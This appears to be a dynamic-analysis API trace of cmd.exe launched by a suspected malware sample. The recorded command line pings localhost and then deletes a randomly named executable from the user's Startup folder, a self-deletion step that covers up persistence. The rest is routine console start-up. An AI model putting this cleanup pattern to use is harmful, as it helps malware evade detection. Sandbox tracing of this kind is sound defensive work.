[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x0, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x9, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x9, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x0, lpData=0x22e808*=0x9, lpcbData=0x22e800*=0x1000) returned 0x2
[0153.591] RegCloseKey (hKey=0x68) returned 0x0
[0153.591] time (in: timer=0x0 | out: timer=0x0) returned 0x5e43c1d8
[0153.591] srand (_Seed=0x5e43c1d8)
[0153.591] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" ping 127.0.0.1 && del \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\""
[0153.592] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" ping 127.0.0.1 && del \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\""
[0153.592] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a915260 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13
[0153.592] GetProcessHeap () returned 0x2f0000
[0153.593] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x210) returned 0x3021a0
[0153.593] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3021a8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
[0153.593] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a920640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0153.593] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a920640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0153.593] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a920640, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0153.593] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
[0153.593] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
[0153.593] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
[0153.593] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
[0153.593] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
[0153.593] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
[0153.593] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
[0153.594] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
[0153.594] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
[0153.594] GetProcessHeap () returned 0x2f0000
[0153.594] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x302c78 | out: hHeap=0x2f0000) returned 1
[0153.594] GetEnvironmentStringsW () returned 0x3023b8*
[0153.594] GetProcessHeap () returned 0x2f0000
[0153.594] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae2) returned 0x304d18
[0153.594] FreeEnvironmentStringsW (penv=0x3023b8) returned 1
[0153.594] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a920640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0153.594] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a920640, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0153.594] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
[0153.594] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
[0153.594] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
[0153.594] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
[0153.594] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
[0153.594] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
[0153.594] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
[0153.594] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
[0153.594] GetProcessHeap () returned 0x2f0000
[0153.594] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x302020
[0153.594] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22f5c8 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13
[0153.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64", nBufferLength=0x104, lpBuffer=0x22f5c8, lpFilePart=0x22f5c4 | out: lpBuffer="C:\\Windows\\SysWOW64", lpFilePart=0x22f5c4*="SysWOW64") returned 0x13
[0153.594] GetFileAttributesW (lpFileName="C:\\Windows\\SysWOW64" (normalized: "c:\\windows\\syswow64")) returned 0x10
[0153.595] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x22f344 | out: lpFindFileData=0x22f344*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x305808
[0153.595] FindClose (in: hFindFile=0x305808 | out: hFindFile=0x305808) returned 1
[0153.595] FindFirstFileW (in: lpFileName="C:\\Windows\\SysWOW64", lpFindFileData=0x22f344 | out: lpFindFileData=0x22f344*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xc893570, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc893570, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 0x2f0ff0
[0153.595] FindClose (in: hFindFile=0x2f0ff0 | out: hFindFile=0x2f0ff0) returned 1
[0153.595] GetFileAttributesW (lpFileName="C:\\Windows\\SysWOW64" (normalized: "c:\\windows\\syswow64")) returned 0x10
[0153.595] SetCurrentDirectoryW (lpPathName="C:\\Windows\\SysWOW64" (normalized: "c:\\windows\\syswow64")) returned 1
[0153.595] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\SysWOW64") returned 1
[0153.595] GetProcessHeap () returned 0x2f0000
[0153.595] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x304d18 | out: hHeap=0x2f0000) returned 1
[0153.595] GetEnvironmentStringsW () returned 0x304228*
[0153.595] GetProcessHeap () returned 0x2f0000
[0153.595] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb12) returned 0x304d48
[0153.595] FreeEnvironmentStringsW (penv=0x304228) returned 1
[0153.595] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a915260 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13
[0153.595] GetProcessHeap () returned 0x2f0000
[0153.595] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x302020 | out: hHeap=0x2f0000) returned 1
[0153.595] GetProcessHeap () returned 0x2f0000
[0153.595] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x400e) returned 0x305868
[0153.596] GetProcessHeap () returned 0x2f0000
[0153.596] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305868 | out: hHeap=0x2f0000) returned 1
[0153.596] GetConsoleOutputCP () returned 0x1b5
[0153.596] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a914260 | out: lpCPInfo=0x4a914260) returned 1
[0153.596] GetUserDefaultLCID () returned 0x409
[0153.596] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a914950, cchData=8 | out: lpLCData=":") returned 2
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22f708, cchData=128 | out: lpLCData="0") returned 2
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22f708, cchData=128 | out: lpLCData="0") returned 2
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22f708, cchData=128 | out: lpLCData="1") returned 2
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a914940, cchData=8 | out: lpLCData="/") returned 2
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a914d80, cchData=32 | out: lpLCData="Mon") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a914d40, cchData=32 | out: lpLCData="Tue") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a914d00, cchData=32 | out: lpLCData="Wed") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a914cc0, cchData=32 | out: lpLCData="Thu") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a914c80, cchData=32 | out: lpLCData="Fri") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a914c40, cchData=32 | out: lpLCData="Sat") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a914c00, cchData=32 | out: lpLCData="Sun") returned 4
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a914930, cchData=8 | out: lpLCData=".") returned 2
[0153.597] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a914920, cchData=8 | out: lpLCData=",") returned 2
[0153.597] setlocale (category=0, locale=".OCP") returned="English_United States.437"
[0153.598] GetProcessHeap () returned 0x2f0000
[0153.598] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20c) returned 0x2f0ff0
[0153.598] GetConsoleTitleW (in: lpConsoleTitle=0x2f0ff0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0153.598] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.598] GetFileType (hFile=0x7) returned 0x2
[0153.599] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.599] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f804 | out: lpMode=0x22f804) returned 1
[0153.599] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.599] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x22f820 | out: lpConsoleScreenBufferInfo=0x22f820) returned 1
[0153.599] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.599] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x22f7ec | out: lpConsoleScreenBufferInfo=0x22f7ec) returned 1
[0153.599] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x7, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x22f804 | out: lpNumberOfAttrsWritten=0x22f804) returned 1
[0153.600] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x7) returned 1
[0153.602] BrandingFormatString () returned 0x2f1228
[0153.605] GetVersion () returned 0x1db10106
[0153.605] _vsnwprintf (in: _Buffer=0x22f83c, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x22f7f8 | out: _Buffer="6.1.7601") returned 8
[0153.608] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.608] GetFileType (hFile=0x7) returned 0x2
[0153.609] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.609] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f788 | out: lpMode=0x22f788) returned 1
[0153.609] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.609] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x22f7bc | out: lpConsoleScreenBufferInfo=0x22f7bc) returned 1
[0153.609] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a924640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
[0153.610] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a924640, nSize=0x2000, Arguments=0x22f7fc | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24
[0153.610] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a924640*, nNumberOfCharsToWrite=0x24, lpNumberOfCharsWritten=0x22f7e0, lpReserved=0x0 | out: lpBuffer=0x4a924640*, lpNumberOfCharsWritten=0x22f7e0*=0x24) returned 1
[0153.611] _vsnwprintf (in: _Buffer=0x4a924640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f808 | out: _Buffer="\r\n") returned 2
[0153.611] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.611] GetFileType (hFile=0x7) returned 0x2
[0153.611] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.611] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f7c8 | out: lpMode=0x22f7c8) returned 1
[0153.612] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.612] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a924640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22f7f4, lpReserved=0x0 | out: lpBuffer=0x4a924640*, lpNumberOfCharsWritten=0x22f7f4*=0x2) returned 1
[0153.612] _vsnwprintf (in: _Buffer=0x4a924640, _BufferCount=0x1fff, _Format="%s", _ArgList=0x22f810 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63
[0153.612] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.612] GetFileType (hFile=0x7) returned 0x2
[0153.612] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.612] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f7d0 | out: lpMode=0x22f7d0) returned 1
[0153.612] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.612] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a924640*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x22f7fc, lpReserved=0x0 | out: lpBuffer=0x4a924640*, lpNumberOfCharsWritten=0x22f7fc*=0x3f) returned 1
[0153.613] _vsnwprintf (in: _Buffer=0x4a924640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f80c | out: _Buffer="\r\n") returned 2
[0153.613] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.613] GetFileType (hFile=0x7) returned 0x2
[0153.613] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.613] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f7cc | out: lpMode=0x22f7cc) returned 1
[0153.614] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.614] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a924640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22f7f8, lpReserved=0x0 | out: lpBuffer=0x4a924640*, lpNumberOfCharsWritten=0x22f7f8*=0x2) returned 1
[0153.614] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75fe0000
[0153.614] GetProcAddress (hModule=0x75fe0000, lpProcName="CopyFileExW") returned 0x76013b92
[0153.614] GetProcAddress (hModule=0x75fe0000, lpProcName="IsDebuggerPresent") returned 0x75ff4a5d
[0153.614] GetProcAddress (hModule=0x75fe0000, lpProcName="SetConsoleInputExeNameW") returned 0x7600a79d
[0153.615] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.615] GetFileType (hFile=0x3) returned 0x2
[0153.615] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0153.615] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x22f880 | out: lpMode=0x22f880) returned 1
[0153.615] NtOpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x22f63c | out: TokenHandle=0x22f63c*=0x0) returned 0xc000007c
[0153.615] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x22f63c | out: TokenHandle=0x22f63c*=0x74) returned 0x0
[0153.615] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x12, TokenInformation=0x22f608, TokenInformationLength=0x4, ReturnLength=0x22f61c | out: TokenInformation=0x22f608, ReturnLength=0x22f61c) returned 0x0
[0153.615] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x1a, TokenInformation=0x22f614, TokenInformationLength=0x4, ReturnLength=0x22f618 | out: TokenInformation=0x22f614, ReturnLength=0x22f618) returned 0x0
[0153.615] NtClose (Handle=0x74) returned 0x0
[0153.615] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x22f644, nSize=0x0, Arguments=0x22f640 | out: lpBuffer="0\"썓䪏❈䀀\x02") returned 0xf
[0153.615] GetProcessHeap () returned 0x2f0000
[0153.616] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x210) returned 0x303420
[0153.616] GetConsoleTitleW (in: lpConsoleTitle=0x22f678, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0153.616] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
[0153.622] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1
[0153.623] GetProcessHeap () returned 0x2f0000
[0153.623] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x303420 | out: hHeap=0x2f0000) returned 1
[0153.623] LocalFree (hMem=0x302ef8) returned 0x0
[0153.623] GetProcessHeap () returned 0x2f0000
[0153.623] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3021a0 | out: hHeap=0x2f0000) returned 1
[0153.624] _vsnwprintf (in: _Buffer=0x4a924640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f56c | out: _Buffer="\r\n") returned 2
[0153.624] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.624] GetFileType (hFile=0x7) returned 0x2
[0153.624] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.624] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f52c | out: lpMode=0x22f52c) returned 1
[0153.624] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.624] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a924640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22f558, lpReserved=0x0 | out: lpBuffer=0x4a924640*, lpNumberOfCharsWritten=0x22f558*=0x2) returned 1
[0153.624] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a920640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
[0153.624] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a915260 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13
[0153.624] _vsnwprintf (in: _Buffer=0x4a915e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x22f568 | out: _Buffer="C:\\Windows\\SysWOW64") returned 19
[0153.625] _vsnwprintf (in: _Buffer=0x4a915e66, _BufferCount=0x3eb, _Format="%c", _ArgList=0x22f568 | out: _Buffer=">") returned 1
[0153.625] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.625] GetFileType (hFile=0x7) returned 0x2
[0153.625] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.625] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f530 | out: lpMode=0x22f530) returned 1
[0153.625] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.625] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a915e40*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x22f55c, lpReserved=0x0 | out: lpBuffer=0x4a915e40*, lpNumberOfCharsWritten=0x22f55c*=0x14) returned 1
[0153.626] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.626] GetFileType (hFile=0x3) returned 0x2
[0153.626] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.626] GetFileType (hFile=0x3) returned 0x2
[0153.626] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0153.626] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x22f7fc | out: lpMode=0x22f7fc) returned 1
[0153.626] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.626] GetFileType (hFile=0x3) returned 0x2
[0153.627] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0153.627] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x22f7fc | out: lpMode=0x22f7fc) returned 1
[0153.627] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.627] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0153.627] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x22f7b4 | out: lpConsoleScreenBufferInfo=0x22f7b4) returned 1
[0153.627] ReadConsoleW (hConsoleInput=0x3, lpBuffer=0x4a91c640, nNumberOfCharsToRead=0x2000, lpNumberOfCharsRead=0x22f81c, pInputControl=0x22f7cc)